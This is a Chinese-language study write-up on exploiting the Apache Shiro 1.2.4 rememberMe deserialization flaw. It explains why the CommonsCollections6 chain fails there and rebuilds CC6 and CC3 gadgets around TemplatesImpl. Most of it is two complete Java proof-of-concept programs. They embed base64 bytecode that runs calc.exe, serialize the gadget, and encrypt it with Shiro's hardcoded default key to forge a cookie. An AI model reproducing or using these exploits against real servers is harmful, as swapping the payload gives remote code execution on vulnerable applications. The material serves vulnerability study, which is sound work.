前言
前边已经学习了CC1,CC6,CC3，其中1和3收到JDK 8U71限制的的，C6是通杀高版本的，但是通过TemplatesImpl构造的利用链，理论上可以执行任意Java代码，这是一种非常通用的代码执行漏洞，不受到对于链的限制，和CC6比起来，各有优缺点。下面学习一下两者的利用
CC6攻击Shiro
Shiro原理也比较简单：为了让浏览器或服务器重 启后用户不丢失登录状态，Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字 段中，下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密 Key，导致攻击者可以伪造任意的rememberMe Cookie，进而触发反序列化漏洞
环境配置
这里使用P牛简化的一个shrio1.2.4的登陆应用
导入IDEA，打包然后发布，访问http://localhost:8080/shirodemo/login.jsp
账号密码，root/secret，成功登录：
如果登录时选择了remember me的多选框，则登录成功后服务端会返回一个rememberMe的Cookie：
攻击过程如下：
- 使用以前学过的CommonsCollections6利用链生成一个序列化Payload
- 使用Shiro默认Key进行加密
- 密文作为rememberMe的Cookie发送给服务端
将CC6生成的payload使用Shiro默认Key进行加密。
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
加密的过程，使用的shiro内置的类 org.apache.shiro.crypto.AesCipherService ，最后生成一段base64字符串。 直接将这段字符串作为rememberMe的值（不做url编码），发送给shiro。并没有弹出计算器，而是Tomcat出现了报错：
问题
异常信息的倒数第一行，也就是这个类：org.apache.shiro.io.ClassResolvingObjectInputStream 。可以看到，这是一个ObjectInputStream的子类，其重写了resolveClass方法：
resolveClass是反序列化中用来查找类的方法(在动态加载字节码已经说过)，简单来说，读取序列化流的时候，读到一个字符串形式的类名，需要通过这个方法来找到对应的java.lang.Class 对象。 对比一下它的父类，也就是正常的ObjectInputStream 类中的resolveClass方法：
protected Class<?> resolveClass(ObjectStreamClass desc)throws IOException, ClassNotFoundException{
String name = desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
}catch (ClassNotFoundException ex) {
Class<?> cl = primClasses.get(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}
}
区别就是前者用的是 org.apache.shiro.util.ClassUtils#forName
而后者用的是Java原生的 Class.forName 。
关于这两者的区别，中间涉及到大量Tomcat对类加载的处理逻辑，参考文章
https://blog.zsxsoft.com/post/35
http://www.rai4over.cn/2020/Shiro-1-2-4-RememberMe反序列化漏洞分析-CVE-2016-4437/
结论：如果反序列化流中包含非Java自身的数组，则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了，因为其中用到了Transformer数组
构造不含数组的反序列化Gadget
前面说到的TemplatesImpl就可以利用了，通过下面这几行代码来执行一段Java的字节码
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
接下来利用InvokerTransformer调用TemplatesImpl#newTransformer方法：
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
这里仍然用到了Transformer数组，不符合条件，在CommonsCollections6中，我们用到了一个类TiedMapEntry，其构造函数接受两个参数，参数1是一个Map，参数2是一个对象key。 TiedMapEntry类有个getValue方法，调用了map的get方法，并传入key：
public Object getValue() {
return map.get(key);
}
当这个map是LazyMap时，其get方法就是触发transform的关键点
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
以往构造CommonsCollections Gadget的时候，对LazyMap#get方法的参数key是不关心的，因为通常Transformer数组的首个对象是ConstantTransformer，我们通过ConstantTransformer来初始化恶意对象
但是此时我们无法使用Transformer数组了，也就不能再用ConstantTransformer了。此时我们却惊奇的发现，这个LazyMap#get的参数key，会被传进transform()，实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。
那么我们再回看前面的Transform数组：
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
new ConstantTransformer(obj) 这一步完全是可以去除了，数组长度变成1，那么数组也就不需要了。
改造一下CommonsCollections6
改造
首先还是创建TemplatesImpl对象：
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
然后我们创建一个用来调用newTransformer方法的InvokerTransformer，但注意的是，此时先传入一个人畜无害的方法，比如getClass ，避免恶意方法在构造Gadget的时候触发
Transformer transformer = new InvokerTransformer("getClass", null, null);
再把之前的CommonsCollections6的代码复制过来，然后改上一节说到的点，就是将原来TiedMapEntry构造时的第二个参数key，改为前面创建的TemplatesImpl对象
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove(“keykey”);
完整POC如下
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections6_shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "Arsene.Tang");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass",null,null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap,obj);
Map expMap = new HashMap();
expMap.put(tme,"valuevalue");
outerMap.clear();
setFieldValue(transformer,"iMethodName","newTransformer");
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
//加密
byte[] payload= barr.toByteArray();
AesCipherService aes = new AesCipherService();
byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource finalpayload = aes.encrypt(payload,key);
System.out.println(finalpayload.toString());
}
}
CC3攻击Shiro
同理，我们把CC3接上TemplatesImpl
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections3_shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "Arsene.Tang");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj });
Transformer fakeTransformers=new ConstantTransformer(1);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,fakeTransformers);
TiedMapEntry tme = new TiedMapEntry(outerMap,TrAXFilter.class);
Map expMap = new HashMap();
expMap.put(tme,"valuevalue");
outerMap.clear();
setFieldValue(outerMap,"factory",transformer);
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
//加密
byte[] payload= barr.toByteArray();
AesCipherService aes = new AesCipherService();
byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource finalpayload = aes.encrypt(payload,key);
System.out.println(finalpayload.toString());
}
}
